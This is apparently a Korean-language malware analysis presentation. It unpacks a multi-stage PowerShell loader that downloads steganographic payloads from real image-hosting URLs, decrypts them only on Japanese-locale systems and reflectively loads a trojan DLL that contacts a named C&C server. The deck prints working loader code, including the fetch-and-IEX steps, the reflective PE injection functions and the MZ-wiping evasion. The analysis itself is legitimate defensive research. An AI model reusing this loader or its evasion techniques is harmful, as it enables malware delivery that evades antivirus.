        ${aDaMi} = new-object system.io.compression.gzipstream(
            ${adami}, [IO.Compression.CompressionMode]::"decompress")
    }
    ${streamreader} = new-object system.io.streamreader(${aDAmI}, ${TRUE});
    ${sTrEAmrEaDeR}. "REAdt0eND"()
};
```

powershell 2

- Base64 decode

```
Function bAvV(${t64IN})
{
    ${bCzA} = [System.Convert]::FromBase64String(${T64iN});
    ${SeNegS} = [System.Text.Encoding]::UTF8.GetString(${bCzA});
    return ${SeneGS}
};
```

powershell 2

- 그러면, 간단하게 다음 스테이지 코드를 뽑아내는 방법은 뭘까요?

```
sal a nEW-oBJECT;
foreach(${URL} in ${CoL})          # try every url
{
    if ((new-object net.webclient)."DOWNL0AdSTRING"(${URL})."leNGth" -gt 1000)  # check image length
    {
        ${W} = new-object system.drawing.bitmap(
            (new-object net.webclient)."openread"(${URL}));      # download image & load
        ${jY} = new-object Byte[] 1300200;
        (0..216)|foreach                         # outer loop 0~216
        {
            foreach (${I} in(0..599))           # inner loop 0~599
            {
                ${SV}=${W}."GETpIXEL"(${I}, ${_});           # get pixel value (x,y)
                ${jY}[${_}*600+$I]=( [math]::"fLooR"(
                    (${SV}."B"-band15)*16)-bor(${SV}."G" -band 15))      # do da math - binary decode
            }
        };
        ${eNSEEv} =[System.Text.Encoding]::"asCii"."GeTSTRINg"(${jY}[0..129819]);
        ${MimEdr} = Ottass -Igaa ${eNSEv}
        -Pcxc ([System.Version])."nAME";      # ${mimedr} = func ottass(decoded_buf, "Version")
        ${cgG}=Bavv(${MiMEDR});
        IEX(${CgG});
        break
    }
}
```

powershell 2

```
$counter = 1
foreach(${URL} in ${CoL})          # try every url
{
    if ((new-object net.webclient)."DOWNLOAdsTRIng"(${URL})."leNGTH" -gt 1000)  # check image length
    {
        ${W} = new-object system.drawing.bitmap(
            (new-object net.webclient)."openread"(${URL}));      # download image & load
        ${JY} = new-object ByTE[] 1300200;
        (0..216)|foreach                         # outer loop 0~216
        {
            foreach (${I} in(0..599))           # inner loop 0~599
            {
                ${SV}=${w}."GETpIXEl"(${I}, ${_});           # get pixel value (x,y)
                ${jY}[${_}*600+$i]=( [math]::"fLooR"(
                    (${SV}."B"-band15)*16)-bor(${sv}."G" -band 15))      # do da math - binary decode
            }
        };
        ${eNSEEv} =[System.Text.Encoding]::"asCii"."GeTSTRINg"(${jY}[0..129819]);
        ${MimEdr} = Ottass -Igaa ${eNSEEV}
                    -Pcxc ([System.Version])."nAME";      # ${mimedr} = func ottass(decoded_buf, "Version")
        ${cgG}=Bavv(${MiMEDR});
        #IEX(${CgG});
        Out-File -FilePath "C:\\tmp\\dec_${counter}.txt" -InputObject ${CgG} -Encoding ASCII;
        $counter++;
        break
    }
}
```

powershell 2

- 4개 중 3개 downloaded/decrypted. 결과는 동일

dec_1.txt	Text Document	100 KB	2
dec_2.txt	Text Document	100 KB	2
dec_3.txt	Text Document	100 KB	2

- decrypt 결과는 다음스테이지 파워쉘 스크립트



The screenshot shows a Notepad window with the title "dec_1.txt - Notepad". The menu bar includes File, Edit, Format, View, and Help. The main content area displays a large amount of encoded text, which is a PowerShell script. The script contains various command-line arguments and file paths, including "powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\dec_1.ps1", "Get-Content C:\Windows\Temp\dec_1.ps1 | Out-File C:\Windows\Temp\dec_2.ps1", and "powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\dec_2.ps1". The text is heavily obfuscated with multiple layers of encoding.

```
$MmUz='seGIkT29ihUw4pfAYqMYktKEbU0oZRNPW39wT91csfNkmcNvAE5wLe3E6GdnqWAxb4fC6XemIaK9kBuBekrY0J2PhCy60cJCbngVtAmRpWEcCOamnITVfA2F8AgcfXPueE5A1dIX1ZIS/+0PQuncceJ1sNS/RX0MoPjf4fYiK00UOQbEwgTrhZGdwGK2If/XfObIv5JwnvwKutZ+C1Cw5KKBlqIMBMwsR6FPt9DrRM7iA/3gmlKj+idOT4R0i0PX+UL2ihx98rcR5mf1jpzvcqoMetkZ9JhXmAv9szQDZ9ir9IdePEPXv5wp9nt6Pc7wMyseGp8MNwSazrUVgMnNv6JDrfUf7niQ+0C/saUfn0N+hJXe8DmfC95anhxazpkwGos6Grs1sB1Qn740Md8Y52Sjh41JsihhzwB85eWSZwTA7t6XXz2AVAfzbC2dn9JgAIef7CfK8kZBSXmVf4/ATHfbfiQ0w3FPmyiwm2XC511B1wR9AGmAcxSV8pAhRQwPLrAT9w2ydo9GoL8xILkJm84WCgMkVjsZVF44ntDbrV64f5/jojAyQYYmiXSPiEXFc2ohapshF2LTdKgsTKRzBtxsaw4k0azqFxVh4KVr9C6NP1hAyR4jfoLsBFuo646CEyseeWVa3a6RCZVcNf54ctgwJ9XLCEw76kLZZLQ8aYAfuYtP6btqHgx7a8njuR3fmxi5FE7YgRnUu2vnfJmeMgYaEtI1x55w7OBmksuJM1ZIxP2KF1nk59hMYZ/5xgjffr9BHXXkj16F+15bts5vLFx2EYS+oHVuttmGHN4OZ0q1IJ+2exMXjytZYX4d3f1LxmLN2eaw7iT+0p1Zb4I/s0tvTLja5Upo+9svnn130LpQA7zGEGZhI86Nc9rucOxx5ZskLfSudAaawPX8G8xH34VwJ1qnx2Fm7w4eqLs52kFP+OswQXv3X9/96kyZbUB4NyMT6ZDuvkFaWKORCIGq7Fr2iXs7aOrdkF4BSKtdwwmK+EULksvvJTXGe1em218TybgT1Qih/YBQXbCaP0P6gqXNwa/PvHreWKvpHwFi361daA3fRiA1dKTW0LZX1Cd1vhdi3GyV/hJK1nJsi6VGMIkVKhhfO3yMquaBZpbcxq7Ib819j7wk8jZ0iXOII1WkNQifawETHiZgpGGzZwvQ9KapCwluZ92p4UXhrCV9f+35avZqqoTn4Mkfn0Nrgd4g7UkjJvUlrx4ePR61M4xTKcJWawXcsfZIAgI0oxpsViOo1A7KkYqhsdGbqFYhD1HcL1ZKM5+JBXbRIExxfCbtDsmrpYJzxo8IxxBZo/D/VvqB8zgrKzOb7UJ0PcmbpUqMq/rhUjo7azOecjsSrG0iA5pIZKWTcvG1sY3zEbADwxwY5751aMHG3r/06YnjZdyAnBjpJrvm+nIIIuMwzHX1gcBKzs1NHmnZF/+gfCtQv2iLhRa4JQVaIuz1K75T819k1akwUmyHyShRI2Jdm/S3bBCVzPJi12m3ca3f8aCLpBQDMDacl5bQ8iRF1wtkmg1yqANQP+WIujFynfsuhCmM0T1WvMvAgwx2YrAhxfVDy09nkfeVF1mtIqe9qs58+U3HFSPUQo89sq1iz/pNSqPynY5g2AdYC2tNRenZOTPmSwdxAEIT2okxNoMfwGys9WpyzGi3D9CUFHGOVP8wkqWvJX3RkjHYTw+kugqmYua2D3T+0/Hicixn14D2vQu9HGqZR1iSiDRGPOR9n4ch7uaPTw54n9MTve0CnhCsxiugAxqP<8DNlwafhpNY/dEi3MPGvhniiaTKtON+GiZTNV
```

powershell 3

- 세번째 stage 파워쉘 스크립트 구성 (개략)

```
$MmUz='seGIk.....J0fEkA==';
    # base64 encoded buffer
$Fhg=(102 -shl 2) + (get-culture).LCID;
    # get-culture returns current language, etc
    # 102 shift-left 2 is 408
    # get-culture.LCID = language code identifier
$Fhg=""+$Fhg; # make string
$r44r=Ottass -Igaa $MmUz -Pcxc $Fhg;
    # ottass function is decryption func from previous stage
    # decryption will fail if not in intended language (JPN)
    # for example, automated analysis system that are not JP language
$0kKiiS=Bavv($r44r);
    # bavv is prev stage's base64 decoder
iex($0kKiiS)
    # execute
```

Italian	Vatican City	0x1000	it-VA	Release 10.3
Japanese		0x0011	ja	Release 7
Japanese	Japan	0x0411	ja-JP	Release A
Javanese		0x1000	jv	Release 8.1

powershell 3

- 마찬가지로 powershell prompt를 이용해 다음 스테이지 복호화

```
PS C:\Users\Administrator> $Fghg=(102 -shl 2) + 0x411
PS C:\Users\Administrator> $Fghg=""+$Fghg;
PS C:\Users\Administrator> $r44r=Ottass -Igaa $MmUz -Pcxc $Fghg;
PS C:\Users\Administrator> $OkKiIS=Bavv($r44r);
PS C:\Users\Administrator> out-file -filepath "c:\\tmp\\t2\\s3.txt" -inputobject ${okkiis} -encoding ascii;
PS C:\Users\Administrator> ■
```

Name	Date modified	Type	Size
dec_1.txt	2/15/2019 8:19 AM	Text Document	100 KB
dec_2.txt	2/15/2019 8:19 AM	Text Document	100 KB
dec_3.txt	2/15/2019 8:19 AM	Text Document	100 KB
s3.txt	2/15/2019 9:03 AM	Text Document	164 KB

powershell 3

- ### • 다음 스테이지 파워쉘 스크립트

powershell 4

- 이번엔 꽤 깁니다! (160kb)

powershell 4

- script 첫부분 난독화 해제시

```
(({"34}{8}{6}{16}{45}{15}{33}{52}{25}{35}{5}{57}{32}{2}{61}{23}{60}{4}{49}{26}{22}{43}{30}{53}{18}{62}{39}{19}{29}{40}{17}{37}{38}{48}{63}{42}{47}{58}{7}{9}{44}{36}{54}{55}{31}{10}.....jP,ijPDraiJP,ij8Cm+8Cm','Ar]77),8Cm0SA8Cm))','5}{4}{0}{3}{7}{1}qvA-','ijP,ijPm/cd/8f/ijP,ijP.ijP,ijP0ijP,ijPZi8Cm+8CmjP,ijPq0WQuij8Cm+8CmP,ijPnijP,ijPimgboijP,ijPcoijP,ijPgijP),(qv','lijP),8Cm+8Cm(qvA{9}{2}{5}{3}{10}{0}{', '-g8Cm+8Cmt 999){FLN{g}=&(ijPaijP) (qv',' FLN{nteKU}){if ((.(ijPaijP) (', '05'))-ReplaCE'8Cm',[CHAR]39-ReplaCE 'Kfp',[CHAR]36 -crEplAcE ([CHAR]79+[CHAR]83+[CHAR]65),[CHAR]124 -crEplAcE 'XPV',[CHAR]96)
```



- 기존과 비슷한 URL image 다운로드+복호화

```
Add-Type -AssemblyName System.Drawing;
[string[]]$NU = ('https://images2.imgur.com/cd/8f/0q0WQuZj_o.png', # new image download urls
               'https://i.imgur.com/cf2262W.png',
               'https://image.frl/i/cjtb8d42zjs576vt.png',
               'https://i.postimg.cc/FmQq0XRh/D1.png?dl=1');
foreach($URL in $NU){
    if ((New-Object Net.WebClient)."downloadstring"(${uRl})."length" -gt 999){
        ${g} = New-Object 'System.Drawing.Bitmap'((New-Object Net.WebClient)."OpenRead"(${uRL}));
        ${O}= New-Object Byte[] 45300;
        (0..150)|.('%'){
            foreach(${x} in(0..299)){
                ${p} = ${G}."GetPixel"(${X}, ${_}); # same decryption
                ${o}[${_}*300+$X] = ([math]::"Floor"(( ${P}."B"-band15)*16)-bor(${P}."g" -band 15))
            }
        };
        ${MAGG}=[System.Text.Encoding]::"ASCII"."getSTRING"(${O}[0..45071]);
        # decrypted buffer goes into ${magg} variable
        break;
    }
}
```

powershell 4

- 같은 방법으로 Decrypt

```
Add-Type -AssemblyName System.Drawing;
[string[]]$nU = ('https://images2.imgur.com/cd/8f/0q0WQuZj_o.png',    # new image download urls
               'https://i.imgur.com/cf2262W.png',
               'https://image.frl/i/cjtb8d42zjs576vt.png',
               'https://i.postimg.cc/FmQq0XRh/D1.png?dl=1');

$counter = 1;
foreach($URL in $nU){
    if ((New-Object Net.WebClient)."downloadstring"(${uRl})."length" -gt 999){
        $g = New-Object 'System.Drawing.Bitmap'((New-Object Net.WebClient)."OpenRead"(${uRL}));
        $O= New-Object Byte[] 45300;
        (0..150)|%{
            foreach($x in(0..299)){
                ${p} = ${G}."GetPixel"(${X}, ${_});           # same decryption
                ${o}[${_}*300+$X] = ([math]::Floor(({${P}."B"-band15)*16)-bor(${P}."g" -band 15))
            }
        };
        ${MAGG}=[System.Text.Encoding]::aSCII."getSTRING"(${O}[0..45071]);
        # decrypted buffer goes into ${magg} variable
        Out-File -FilePath "C:\\tmp\\dec2_$counter.txt" -InputObject ${magG} -Encoding ASCII
        $counter++;
    }
}
```

powershell 4

- Downloaded/decrypted 된 내용은 base64 encoded buffer

File	Date	Type	Size
dec2_1.txt	2/15/2019 10:16 AM	Text Document	45 KB
dec2_2.txt	2/15/2019 10:16 AM	Text Document	45 KB
dec2_3.txt	2/15/2019 10:16 AM	Text Document	45 KB



File Edit Format View Help

```
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
```

powershell 4

- 스크립트 다음 부분은 DLL을 byte 배열 형태에서 로드하는 코드
 - $77 == 0x4d == 'M'$, $90 == 0x5a == 'Z'$

In-memory DLL

- It's a .NET DLL

→ downloaded file decoded2_mz.dll
decoded2_mz.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

decoded_mz.dll
IMAGE_DOS_HEADER
MS-DOS Stub Program
IMAGE_NT_HEADERS
Signature
IMAGE_FILE_HEADER
IMAGE_OPTIONAL_HEADER
IMAGE_SECTION_HEADER .text
IMAGE_SECTION_HEADER .rsrc
IMAGE_SECTION_HEADER .reloc
SECTION .text
IMPORT Address Table
CLI Header
IMPORT Directory Table
IMPORT Name Table
IMPORT Hints/Names & DLL Names
SECTION .rsrc
SECTION .reloc

VA	Data	Description	Value
10002000	000024F0	Hint/Name RVA	0000 _CorDIIMain
10002004	00000000	End of Imports	mscoree.dll

In-memory DLL

- Decompilation with ILSpy

```
// ee
+ using ...

public static byte[] Db(string inputString)
{
    byte[] buffer = Convert.FromBase64String(inputString);
    using (MemoryStream stream = new MemoryStream(buffer))
    {
        using (GZipStream gZipStream = new GZipStream(stream, CompressionMode.Decompress))
        {
            using (MemoryStream memoryStream = new MemoryStream())
            {
                gZipStream.CopyTo(memoryStream);
                return memoryStream.ToArray();
            }
        }
    }
}
```

```
// ee
+ using ...

public static string De(string inputString)
{
    return Encoding.UTF8.GetString(Db(inputString));
}
```

powershell 4(cont'd)

- 다시 script로 돌아가서...

```
$pg=""+(get-culture).LCID # <- ja-JP = 0x411 = 1041
$pg = "1041"    # to make it run
# $magg is downloaded&decrypted buffer. decoding again
foreach ($Dy in $magg){
    $o = @()
    $xx = "$($pg)".ToCharArray()
    $re = [System.Text.Encoding]::UTF8
    $Dy = [System.Convert]::FromBase64String($Dy)
    for ($i = 0; $i -lt $Dy.count; $i++) {
        $o += [char]([Byte]$Dy[$i] -bxor [Byte]$xx[$i%$xx.count])
    }
}
```

- 스크립트에서 아까의 메모리에 로딩된 .NET DLL 사용하여 decode/decompress


```
$DXx = $re.GetString($o)
$Uno = [ee]::De($Dxx) # In-memory DLL baset64 + decompress
```

powershell 4(cont'd)

- 덤프덤프!

```
PS C:\Users\Administrator> $pg = "1041"      # to make it run
>> # $magg is downloaded&decrypted buffer. decoding again
>> foreach ($Dy in $magg){
>>     $o = @()
>>     $xx = $($pg).ToCharArray()
>>     $re = [System.Text.Encoding]::UTF8
>>     $Dy = [System.Convert]::FromBase64String($Dy)
>>     for ($i = 0; $i -lt $Dy.count; $i++) {
>>         $o += [char](([Byte]$Dy[$i] -bxor [Byte]$xx[$i%$xx.count]))
>>     }
>>
>>     $Dxx = $re.GetString($o)
>>     $Uno = [ee]::De($Dxx) # In-memory DLL base64 + decompress
>>
PS C:\Users\Administrator> Out-File -FilePath "C:\\tmp\\t2\\dec3.txt" -InputObject ${Uno} -Encoding ASCII;
PS C:\Users\Administrator> -
```

- 결과는 base64 encoded buf인데, decode시 PE file



```
>>> b=base64.decodestring(open('c:\\tmp\\t2\\dec3.txt','rt').read())
>>> b[:100]
'MZP\x00\x02\x00\x00\x00\x04\x00\x0f\x00\xff\xff\x00\x00\xb8\x00\x00'
```

```
+mS///6/hdw4vAgy0EoEAAcNVi+xRDzEDBR5hQAAR4DHIA0Qk
+NHQMcgx0IkFFKFAAI1F/ItF/F1dw41AAJIxwIX5dCgxyYoKQoD5LZx0BYD5K3
```

powershell 4(cont'd)

- 파워쉘의 나머지 코드들은 reflective DLL loading 관련 함수

```
Function import-dllimports
{
    Param(
        [Parameter(position = 0, MAnDAtORY = ${tRUE})]
        [System.Object]
        ${pEiNFo},
        [Parameter(pOsITIOn = 1, mAnDatorY = ${tRUe})]
        [System.Object]
        ${wIN32FUnCTIOnS},
```

```
Function import-dllinremoteprocess
{
    Param(
        [Parameter(pOsITION=0, manDATOrY=${TRUE})]
        [IntPtr]
        ${REMoteproChAndE},
```

```
Function Get-WIn32fUNcTionS
{
    ${WIn32FuNCTiONS} = new-object System.Object

    ${vIRtUAlaLlOCaDDR} = Get-ProcAddress kernel32.dll VirtualAlloc
    ${virtUALALL0cdeLegaTE} = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
    ${virTUALAlloc} = [System.Runtime.InteropServices.Marshal]::"gETDElegATEForFUNcTioNpoINTER"(${VIrTUALalloCaDdR}, ${
    {ViRtuAlalLoCdEleGATE})
    ${Win32FUNKTioNS} | Add-Member NoteProperty -Name VirtualAlloc -Value ${VIrTUALaLLoC}
```

powershell 4(cont'd)

- 파워쉘의 나머지 코드들은 reflective DLL loading 관련 함수

```
Function CREatE-Rem0tETHrEaD
{
    Param(
        [Parameter(p0sITion = 1, mAndatoRy = ${TRUE})]
        [IntPtr]
        ${Pr0cesShANDLE},
        [Parameter(p0siTiON = 2, mANDAtorY = ${tRue})]
        [IntPtr]
        ${stArtaDdreSs},
```

```
Function COPY-SectIOns
{
    Param(
        [Parameter(p0sITION = 0, mAnDaT0Ry = ${tRUE})]
        [Byte[]]
        ${pebytes},
```

```
Function mAIn
{
    ${WIN32FUNCTIONS} = Get-Win32Functions
    ${win32types} = Get-Win32Types
    ${WiN32ConStANTS} = Get-Win32Constants

    ${remoTepR0cHANDLE} = [IntPtr]::"zeRo"

    if ((${procid} -ne ${NULL}) -and (${procid} -ne 0) -and (${procname} -ne ${NuLL}) -and (${procname} -ne ""))
    {
        Throw ""
    }
```

Reflective DLL loading?

- DLL을 로드하는 가장 기본적인 방법은 - **LoadLibrary("mydll.dll");**
- 이 방법은 DLL이 디스크에 있어야 함. 이는 AV 필터드라이버가 검사를 할 수 있다는 뜻
- 따라서 악성코드 세계에선 EXE/DLL 등 공격자의 코드를 LoadLibrary API를 쓰지 않고 메모리에 직접 올리는 일이 비일비재함 (아싸 악코조차!).
- LoadLibrary 와 마찬가지로 메모리에 섹션 올리고, IAT 처리해주고, relocation 처리해주는 등 API가 하는 행위를 직접 구현
- Open source! (C/C++, **powershell**, ASM, etc)
 - <https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1>
 - 여기에 PE byte[] 와 reflective loading 실행하는 코드 추가, 난독화 후 배포하는 형태
- 결과적으로 AV는 암호화/난독화된 형태를 보게 되고, AV가 (잠시동안만 메모리에 존재하게 되는) 악성 코드의 복호화된 원본코드를 보려면, filter driver 외 다른 방법 필요

powershell 4(cont'd)

- 디코딩된 PE는 메모리에 올라갑니다

```
Function Main{
    if (!$pebytes) {
        $pebytes = [System.Convert]::FromBase64String(${g0BaL:MGGG});      # base64 decode to PE buffer
    }
    ${E_MagIc} = (${pebytes}[0..1] | % {[Char] ${_}}) -join ''      # check MZ header
    if ($E_magIc -ne 'MZ'){
        throw ''
    }
    if (-not ${doN0tzERomZ}) {          # remove MZ value in PE header (to evade memory dump analysis)
        ${pebytes}[0] = 0
        ${pebytes}[1] = 0
    }

    if ($ExeArgs -ne ${nULl} -and ${ExeaRGs} -ne ''){
        ${eXeARGS} = "ReflectiveExe $ExeArgs"
    }
    else{
        ${exEaRGs} = "ReflectiveExe"
    }
    if ($CoMpUTeRnAme -eq ${nUll} -or ${CoMPuTERnaME} -imatch "\s*$"){      # reflective DLL loading with/without computer name
        Invoke-Command -ScriptBlock ${remotescriptblock} -ArgumentList @(${pebytes}, ${funcreturntype}, ${procid}, ${procname}, ${forceaslr})
    }
    else{
        Invoke-Command -ScriptBlock ${remotescriptblock} -ArgumentList @(${pebytes}, ${funcreturntype}, ${procid}, ${procname}, ${forceaslr})
        -ComputerName ${cOmPutErnAmE}
    }
}
```

powershell 4(cont'd)

- 그런데 MZ는 지웁니다

```
        }
if (-not ${doNotzERomZ}) {                                # remove MZ value in PE header
    ${pebytes}[0] = 0
    ${pebytes}[1] = 0
}
```

DLL

- 복호화된 DLL을 덤프 떠보았습니다.
 - MD5: 9734DC58262DB411CE50322CB57A7379
 - SHA256:
6d88756625bf8ff65b12fd68e94520eac22996803b4711
7a37e4fb3484220823
 - IDB- <https://drive.google.com/file/d/17eqjUBlbVILzdBkQ5ILVdTb1-G2GiZ/view>

DLL



47 engines detected this file



SHA-256 6d88756625bf8ff65b12fd68e94520eac22996803b47117a37e4fb3484220823
File name kiken.exe
File size 37.5 KB
Last analysis 2019-02-15 06:21:46 UTC

47 / 68

Detection	Details	Community
		(3)

Acronis	⚠ suspicious	Ad-Aware	⚠ Trojan.GenericKD.40845120
AhnLab-V3	⚠ Malware/Win32.Generic.C2900244	ALYac	⚠ Trojan.GenericKD.40845120
Antiy-AVL	⚠ Trojan/Win32.Pincav	Arcabit	⚠ Trojan.Generic.D26F3F40
Avast	⚠ Win32:Trojan-gen	AVG	⚠ Win32:Trojan-gen
Avira	⚠ TR/Spy.Bebloh.V	BitDefender	⚠ Trojan.GenericKD.40845120
CAT-QuickHeal	⚠ Trojan.Multi	Comodo	⚠ Malware@#13ciwyrcgsu7s
CrowdStrike Falcon	⚠ malicious_confidence_100% (D)	Cylance	⚠ Unsafe
Cyren	⚠ W32/Trojan.TYNU-2017	eGambit	⚠ Trojan.Generic
Emsisoft	⚠ Trojan.GenericKD.40845120 (B)	Endgame	⚠ malicious (high confidence)

DLL



[HybridAnalysis](#)

2018-12-19

#apt #apt28 #fancybear #group-4127 #group74 #irontwilight #isfb #pawnstorm #sednit #sofacy #strontium #swallowtail #tag_0700
#tg-4127 #tsarteam #urlzone

submitname:"6d88756625bf8ff65b12fd68e94520eac22996803b47117a37e4fb3484220823.bin"

falcon-threatscore:100/100

source:[https://www.hybrid-analysis.com/sample/6d88756625bf8ff65b12fd68e94520eac22996803b47117a37e4fb3484220823?](https://www.hybrid-analysis.com/sample/6d88756625bf8ff65b12fd68e94520eac22996803b47117a37e4fb3484220823?environmentId=100)
environmentId=100



[thor](#)

2018-12-19

↑ (0)

↓ (0)

Signature Match - THOR APT Scanner

Detection

=====

Rule: IMPLANT_4_v10

Ruleset: Russian Threat Groups

Description: BlackEnergy / Voodoo Bear Implant by APT28

Reference: <https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE>

Author: US CERT

Score: 65

Family - BlackEnergy?


SECURELIST THREATS ▾ CATEGORIES ▾ TAGS ▾ STATISTICS ENCYCLOPEDIA DE

Two days ago, we came by a new document that appears to be part of the ongoing attacks BlackEnergy against Ukraine. Like previous Office files used in the recent attacks, this is not an Excel workbook, but a Microsoft Word document:

"\$RR143TB.doc" (md5: e15b36c2e394d599a8ab352159089dd2)

This document was uploaded to a multiscanner service from Ukraine on Jan 20 2016, with relatively low detection. It has a creation_datetime and last_saved field of 2015-07-27 10:21:00. This means the document may have been created and used earlier, but was only recently noticed by the victim.

Upon opening the document, the user is presented with a dialog recommending the enabling of macros to view the document.



The screenshot shows a Microsoft Word document window. At the top, there's a yellow security warning bar with an exclamation icon, the text "SECURITY WARNING Macros have been disabled.", and a "Enable Content" button. Below the bar, the Microsoft Office logo is visible. In the bottom right corner of the document area, there is a yellow footer message in Ukrainian: "Увага! Цей документ був створений у більш новій версії Microsoft Office™. Макроси потрібно включити для відображення вмісту документу." (Attention! This document was created in a newer version of Microsoft Office™. Macros must be enabled to display the document content.)

Family - Bebloh?




Figure 1: The spam campaign's infection chain

Infection chain

The spam campaign uses payment-related subject lines for its social engineering:

- 注文書の件 (about purchase order)
- 申請書類の提出 (submission of application)
- 立替金報告書の件です。 (about money advanced report)
- 納品書フォーマットの送付 (sending the format of statement of delivery)
- 請求データ送付します (sending billing data)


The spam emails contain a Microsoft Excel file that appears to have a naming convention (DOC2410201810[6 RANDOM NUMBERS].xls), as exemplified by Figure 2. As shown in Figure 3, the file name is randomly generated, making it difficult to identify the threat.

DLL

- 어떤 자동분석툴은 이를 BlackEnergy 라 마킹
 - <http://tinyurl.com/blackenergy1>
- Banking trojan Bebloh family에 대한 캠페인 묘사가 이 건과 더 비슷
 - <http://tinyurl.com/bebloh1>
- BlackEnergy 과 Bebloh의 연관성
 - <http://tinyurl.com/bebloh2>
- BlackEnergy? Bebloh?
 - 둘 중 하나이거나, 둘 다이거나 둘 다 아닐 수도

DLL - Automatic analysis

- <https://app.any.run/tasks/a5e35165-c614-427c-9373-6d8a596c6567>
- 여전히 동작 안합니다




DLL

- Downloader/reverse shell
 - Injects itself to explorer.exe
 - C&C: cabertun.com
 - 접속하여 실행 정보 report 및 설정파일/실행파일 Download
 - 다운받은 설정에 따라 각종 실행/추가 다운로드/인젝션 등 수행
 - 웹서버는 이미 닫혀있었고, crawler를 돌려보았으나 다시는 열리지 않음. 짧은 시간동안만 열고 새 server에서 다음 공격을 진행하는 것으로 추정

C&C

- C&C – cabertun.com
 - hosting: morene.host
 - 로씨야 서비스
 - Anonymous payment
 - BTC, ETH, ZCash, XRP, etc



The screenshot shows a payment selection interface for Cabertun.com. At the top, there are tabs for Dashboard, Cart, Payment (selected), and another Payment tab. Below this, a section titled "Payment" features a blue cash register icon. To the right, the text "Step 1 Select a payment method" is displayed. A form field shows "Amount * 9.50". Below the form, six payment options are listed with their respective icons:

Payment Method	Description
	Bitcoin
	WebMoney WMZ
	WebMoney EUR
	Yandex.Money
	Robokassa
	Interkassa (QIWI, VISA/MASTER, ETC...)

C&C

- BlackEnergy와 유사한 open ports
 - Windows Server (큰 의미는 없음)

```
🌐 5.149.254.114 mail1.auditoriavanzada.info

[+] Nmap scan report for mail1.auditoriavanzada.info (5.149.254.114)
Host is up (0.0083s latency).
